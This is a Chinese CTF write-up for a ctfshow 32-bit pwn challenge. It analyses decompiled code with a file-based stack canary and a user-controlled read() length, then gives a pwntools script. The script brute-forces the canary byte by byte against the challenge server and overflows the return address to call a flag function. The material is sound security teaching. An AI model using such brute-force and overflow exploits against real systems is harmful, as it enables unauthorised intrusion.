32位关闭栈保护与PIE
先看main

再看canary()

先声明了一个指针变量 stream ,用于表示文件指针。然后,使用 fopen函数打开名为
"/canary.txt" 的文件,以只读模式打开。如果打开失败,即文件不存在或无法打开,程序将输出一条错
误信息 "/canary.txt: No such file or directory." 并调用 exit(0) 终止程序。
再使用 fread 函数从打开的文件中读取 4 个字节(32 位)的数据,并将其存储到全局变量
global_canary 中。 &global_canary 是 global_canary 变量的地址,用于指定数据的存储位置。
fread函数:
fread 是 C 语言标准库 <stdio.h> 中用于 从文件流中读取二进制数据 的函数。
size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream);
read函数
ssize_t read(int fd, void *buf, size_t count);
memcmp函数
int memcmp(const void *s1, const void *s2, size_t n);
sscanf函数
用于 从字符串中按指定格式解析(提取)数据 。可以把它理解为 "string scanf" —— scanf 是从键盘(标准输入)读取,而 sscanf 是从一个已有的字符串中读取。
int sscanf(const char *str, const char *format, ...);
ctfshow:

size_t nbytes; // [esp+4h] [ebp-54h] 要读取的字节数
_DWORD v2[8]; // [esp+8h] [ebp-50h] 用于存储输入的数字字符串(32字节)
_BYTE buf[32]; // [esp+28h] [ebp-30h] 目标缓冲区(32字节)
int s1; // [esp+48h] [ebp-10h] 局部保存的 canary 值
int n31; // [esp+4Ch] [ebp-Ch] 循环计数器
栈布局:
高地址
┌──────────────────────┐
│ 返回地址 (ret) [ebp+4]
├──────────────────────┤
│ 保存的 EBP [ebp]
├──────────────────────┤
│global_canary 副本[ebp-0x0C]← n31
│s1 (canary备份) [ebp-0x10] ← s1
├──────────────────────┤
│ buf[32] [ebp-0x30] ~ [ebp-0x11]
├──────────────────────┤
│v2[8](32字节)[ebp-0x50] ~ [ebp-0x31]
├──────────────────────┤
│ nbytes │ [ebp-0x54]
低地址
n31 = 0;
s1 = global_canary;
将全局变量 global_canary 的值保存到局部变量 s1 中
这是 Stack Canary(栈金丝雀)保护机制:在函数返回前检查 s1 是否被修改,以此检测栈溢出
printf("How many bytes do you want to write to the buffer?\n>");
while ( n31 <= 31 )
{
read(0, (char *)v2 + n31, 1u); // 从 stdin 逐字节读取
将 v2 强转为 char*(字节指针),然后偏移 n31 个字节。即写入 v2 数组的第 n31 个字节位置
if ( *((_BYTE *)v2 + n31) == 10 ) // 如果读到换行符 '\n' (ASCII=10)
break;
++n31;
}
__isoc99_sscanf(v2, "%d", &nbytes); // 将字符串解析为整数
把用户输入的字符串v2转换成整数,赋给 nbytes。
功能 :
程序询问你要写入多少字节
用 read 系统调用 逐字节 读取输入到 v2 缓冲区(最多 31 字节)
遇到换行符 \n 停止
用 sscanf 将输入的字符串转为整数存入 nbytes
这里 v2 有 32 字节,且限制了最多读 31 个字符,所以这一步本身是安全的。
printf("$ ");
read(0, buf, nbytes);
这是整个函数的漏洞所在!
buf 只有 32 字节
但 read 会读取 nbytes 字节,而 nbytes 是 用户自己指定的
如果用户输入一个大于 32 的数字(比如 100),就会发生 栈溢出
溢出的数据会覆盖 s1、保存的 EBP、甚至 返回地址
代码通过比较 s1 和全局变量 global_canary 的值来检查堆栈的完整性。如果两者的值不
相等,表示堆栈被破坏,输出错误信息 "Error Stack Smashing Detected : Canary Value
Incorrect!",并调用 exit(-1) 终止程序。
最后,代码输出信息 "Where is the flag?",并调用 fflush(stdout) 刷新标准输出缓冲区。
总结起来,这段代码的功能是从标准输入读取用户输入的字节数,并将相应字节数的数据读取到缓
冲区 buf 中。然后,它会检查堆栈的完整性,如果堆栈被破坏,则输出错误信息并终止程序。我们可以看出程序是模拟了一个保护,但是由于文件名不变,其内容大概率也是不会变化的。加上题目提示猜测可以进行爆破。
在爆破完成知道canary的情况下,剩下的就是简单的栈溢出劫持程序执行流至flag函数就能get flag
flag():

exp:
from pwn import *
context.log_level = 'critical' //将日志级别设置为最高(只显示严重错误)。因为接下来要进行大量循环连接,如果输出默认的 INFO 日志,终端会被刷屏且拖慢速度。
canary = ''
for i in range(4): //# 外层循环:Canary 共 4 个字节,逐个破解
for c in range(0xFF): //# 内层循环:每个字节的值从 0x00 试到 0xFE (0~254)
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28173)
io.sendlineafter('>','-1') //# 回答第一个问题 "How many bytes...",发送 '-1'
为什么发送 -1?
在之前的 C 代码分析中,read(0, buf, nbytes) 的第三个参数 nbytes 类型是 size_t(无符号整数,即恒正)。溢出:
当用户输入 -1 时,sscanf 将其解析为有符号的 -1,存入 size_t 变量后,会发生隐式类型转换,变成 0xFFFFFFFF(即 4GB)。这确保了接下来的 read 可以接收任意长度的 payload 而不会被截断。payload = 'a'*0x20 + canary + p8(c)
//p8()是Python pwntools 库中的一个核心打包函数,用于 将整数c转换为 1 字节(8位)的二进制数据 。
这里故意 不覆盖 后面的返回地址和 EBP,只覆盖到 Canary 的位置。这样如果 Canary 猜对了,程序会正常执行到末尾;如果猜错了,程序会触发报错。
io.sendafter('$ ',payload)
io.recv(1)# 接收一个无关字符(可能是换行符或提示符)
ans = io.recv()# 接收程序的后续输出
print ans
if 'Canary Value Incorrect!' not in ans:
print 'The index({}),value({})'.format(i,c)
canary += p8(c)
break
else:
print 'tring... ...'
对应:
if ( memcmp(&s1, &global_canary, 4u) ) {
puts("Error * ** Stack Smashing Detected ** * : Canary Value Incorrect!");
exit(-1);
}
如果我们发送的 payload 中的 canary 部分与 global_canary 不一致 ,程序会打印 "Canary Value Incorrect!" 并退出。
如果 一致 ,程序不会打印这句话,而是继续执行 puts("Where is the flag?");。
因此,通过检测返回字符串中是否包含 "Canary Value Incorrect!",就能知道当前猜测的字节 c 是否正确。io.close()
print 'canary=',canary
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28173)
elf = ELF('./pwn')
flag = elf.sym['flag']
payload = 'a'*0x20 + canary + p32(0)*4 + p32(flag)
io.sendlineafter('>','-1') # 同样发送 -1 解除 read 的长度限制
io.sendafter('$ ',payload)
io.interactive()